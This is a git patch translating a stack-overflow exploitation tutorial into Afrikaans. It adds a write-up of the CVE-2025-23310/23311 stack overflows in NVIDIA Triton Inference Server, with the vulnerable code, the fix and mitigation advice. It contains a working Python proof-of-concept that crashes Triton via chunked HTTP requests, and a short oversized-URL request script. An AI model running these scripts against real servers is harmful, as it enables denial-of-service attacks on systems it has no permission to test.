From dad0ad9527cbb833d26f8082bdc83545033f3efe Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 02:44:31 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/README.md'] to af --- .../stack-overflow/README.md | 71 +++++++++++++++++-- 1 file changed, 65 insertions(+), 6 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 4b8f4f7cc..30d98b28b 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -50,10 +50,10 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Exploiting Stack Overflows -Tydens 'n oorgang (veronderstel dat die oorganggrootte groot genoeg is) sal jy in staat wees om **oor te skryf** waardes van plaaslike veranderlikes binne die stapel totdat jy die **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\ -Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **kontrole vloei na waar die gebruiker gespesifiseer het** in hierdie pointer. +Tydens 'n oorgang (as die oorganggrootte groot genoeg is) sal jy in staat wees om **te oorskryf** waardes van plaaslike veranderlikes binne die stapel totdat jy die gestoor **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\ +Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **beheer vloei na die plek waar die gebruiker gespesifiseer het** in hierdie pointer. -E however, in ander scenario's mag dit net **om te skryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings). +E however, in ander scenario's mag dit net **om te oorskryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings). ### Ret2win @@ -115,12 +115,71 @@ warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Alhoewel stapel kanaries die proses beëindig, verkry 'n aanvaller steeds 'n **Denial-of-Service** primitief (en, met bykomende inligtingslekke, moontlik kode-uitvoering). Die les is eenvoudig: +Alhoewel stapelkanaries die proses beëindig, verkry 'n aanvaller steeds 'n **Denial-of-Service** primitief (en, met addisionele inligtingslekke, moontlik kode-uitvoering). Die les is eenvoudig: -* Verskaf altyd 'n **maksimum veld breedte** (bv. `%511s`). +* Verskaf altyd 'n **maksimum veldwydte** (bv. `%511s`). * Verkies veiliger alternatiewe soos `snprintf`/`strncpy_s`. -## References +### Werklike Voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) + +NVIDIA se Triton Inference Server (≤ v25.06) het verskeie **stapel-gebaseerde oorgange** bevat wat deur sy HTTP API bereik kon word. Die kwesbare patroon het herhaaldelik in `http_server.cc` en `sagemaker_server.cc` verskyn: +```c +int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); +if (n > 0) { +/* allocates 16 * n bytes on the stack */ +struct evbuffer_iovec *v = (struct evbuffer_iovec *) +alloca(sizeof(struct evbuffer_iovec) * n); +... +} +``` +1. `evbuffer_peek` (libevent) gee die **aantal interne buffersegmenten** wat die huidige HTTP-versoekliggaam saamstel. +2. Elke segment veroorsaak dat 'n **16-byte** `evbuffer_iovec` op die **stapel** toegeken word via `alloca()` – **sonder enige boonste grens**. +3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan 'n kliënt die versoek dwing om in **honderde duisende 6-byte stukke** (`"1\r\nA\r\n"`) gesplit te word. Dit laat `n` onbeperk groei totdat die stapel uitgeput is. + +#### Bewys-van-Konsep (DoS) +```python +#!/usr/bin/env python3 +import socket, sys + +def exploit(host="localhost", port=8000, chunks=523_800): +s = socket.create_connection((host, port)) +s.sendall(( +f"POST /v2/models/add_sub/infer HTTP/1.1\r\n" +f"Host: {host}:{port}\r\n" +"Content-Type: application/octet-stream\r\n" +"Inference-Header-Content-Length: 0\r\n" +"Transfer-Encoding: chunked\r\n" +"Connection: close\r\n\r\n" +).encode()) + +for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc +s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x +s.sendall(b"0\r\n\r\n") # end of chunks +s.close() + +if __name__ == "__main__": +exploit(*sys.argv[1:]) +``` +'n ~3 MB versoek is genoeg om die gestoor terugadres te oorskryf en **crash** die daemon op 'n standaard bou. + +#### Patch & Mitigering +Die 25.07 vrystelling vervang die onveilige stapeltoewysing met 'n **heap-ondersteunde `std::vector`** en hanteer `std::bad_alloc` met genade: +```c++ +std::vector v_vec; +try { +v_vec = std::vector(n); +} catch (const std::bad_alloc &e) { +return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); +} +struct evbuffer_iovec *v = v_vec.data(); +``` +Lessons geleer: +* Nooit `alloca()` aanroep met aanvaller-beheerde groottes nie. +* Gekapte versoeke kan drasties die vorm van bediener-kant buffers verander. +* Valideer / beperk enige waarde wat uit kliëntinvoer afgelei is *voor* dit in geheue toewysings gebruik word. + +## Verwysings * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) +* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) {{#include ../../banners/hacktricks-training.md}}